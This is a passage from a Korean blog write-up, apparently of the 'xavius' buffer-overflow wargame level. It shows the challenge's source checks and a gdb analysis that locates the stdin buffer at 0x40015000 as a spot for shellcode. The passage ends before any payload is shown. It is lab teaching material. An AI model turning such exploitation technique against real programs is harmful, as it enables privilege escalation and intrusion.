14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;end&amp;nbsp;point&amp;nbsp;of&amp;nbsp;function&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ret_addr&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'\xc9'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;leave&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(ret_addr&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'\xc3'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;ret&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;You&amp;nbsp;cannot&amp;nbsp;use&amp;nbsp;library&amp;nbsp;function!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret_addr&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer를 0으로 초기화하고, buffer+48~0xbfffffff까지 stack 영역을 0으로 초기화한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;stack&amp;nbsp;destroyer&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memset(buffer,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memset(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xbfffffff&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)(buffer&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;));&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer의 스텍 윗 부분을 40 byte를 제외하고 모두 0으로 초기화 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;LD_*&amp;nbsp;eraser&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;40&amp;nbsp;:&amp;nbsp;extra&amp;nbsp;space&amp;nbsp;for&amp;nbsp;memset&amp;nbsp;function&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;memset(buffer&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;xavius의 메모리 구조를 예상해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 715px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A23B3A5BCECBBD2A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A23B3A5BCECBBD2A&quot; width=&quot;715&quot; height=&quot;576&quot; filename=&quot;이미지 003.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실제 변수가 할당될 때, gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 이용해 xavius를 분석해보자. xavius를 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용하여 파일을 복사하면 된다. 현재 user의 권한으로 똑같은 파일을 가질 수 있기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 813px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99924E425BCECC3D15&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99924E425BCECC3D15&quot; width=&quot;813&quot; height=&quot;100&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 xavius가 nightmare의 권한으로 복사된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 생성되었는지 gdb를 통해 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 572px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F840345BCECED01F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F840345BCECED01F&quot; width=&quot;572&quot; height=&quot;552&quot; filename=&quot;이미지 005.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된 것을 확인할 수 잇다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문제의 제한으로 인하여, &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;stack 영역, library 영역, code 영역 모두 사용할 수 없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그렇다면 우리가 사용할 수 있는 공간은 어디일까??&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소스코드를 잘 살펴보면 stdin을 이용하는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;stdin은 표준입력 파일 스트림으로, 우리가 입력한 문자열을 가지고 있는 버퍼&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그렇다면 이곳을 이용할 수 있지 않을까???&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 통해 stdin의 주소를 찾아 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fgets(buffer, 256, stdin); 형식으로 사용했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;즉, fgets를 호출하기전에 제일 먼저 push하는 값이 stdin의 주소이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 589px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991675505BCED5F607&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991675505BCED5F607&quot; width=&quot;589&quot; height=&quot;651&quot; filename=&quot;이미지 006.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;stdin의 주소는 0x401068c0&lt;/span&gt;라는것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;더 자세히 알아보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 837px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9974D9435BCED7722D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9974D9435BCED7722D&quot; width=&quot;837&quot; height=&quot;344&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;stdin(*0x8049a3c)&lt;/span&gt;가 가리키는 값도 확인 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 847px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B5A1425BCED80335&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B5A1425BCED80335&quot; width=&quot;847&quot; height=&quot;270&quot; filename=&quot;이미지 009.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;start of ptr = 0x40015000&lt;/span&gt;이다. start of ptr + 16(A*16) + 1(\n)를 통해 end of ptr을 유추할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 